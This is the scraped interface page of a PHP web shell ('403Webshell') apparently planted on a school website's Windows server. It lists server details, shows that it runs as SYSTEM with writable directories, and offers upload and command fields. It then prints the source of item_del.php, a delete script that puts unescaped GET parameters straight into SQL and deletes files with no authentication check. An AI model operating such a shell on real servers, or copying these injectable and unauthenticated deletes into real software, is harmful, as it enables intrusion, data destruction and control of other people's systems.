403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/benjama/modules/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/benjama/modules/maintenance/item_del.php
<?
//print_r($_GET);
require_once($MODPATH ."inc.php") ;


echo "<br><br>";
if($_GET['op'] == 'del' && $_GET['confirm']=='yes'){
    $db->del(TB_mtitem , "id=" . $_GET['id'] ) ;
    echo "delete compete" ;
    
}
else if($_GET['op'] == 'del'){
    echo  "<a href='?name=maintenance&file=item_del&op=del&confirm=yes&id=". $_GET['id'] ."' >ยืนยันการลบ</a>\n";
}
else if($_GET['op'] == 'delcomment'){
    $db->del(TB_mtitem_comment , "id=" . $_GET['id'] ) ;
    $resf = $db->select_query("SELECT * FROM " . TB_mtitem_file ." WHERE item_id_comment=".$_GET['id']);
    while($arrf = $db->fetch($resf) ){
        unlink( "data/maintenance/" . substr($arrf['full_text'],0,4) ."/" . $arrf['full_text'] );
    }
    echo "delete compete" ;
    echo "<script> setTimeout(function (){    window.history.back();    }, 1500); </script>";
}
?>



Youez - 2016 - github.com/yon3zu
LinuXploit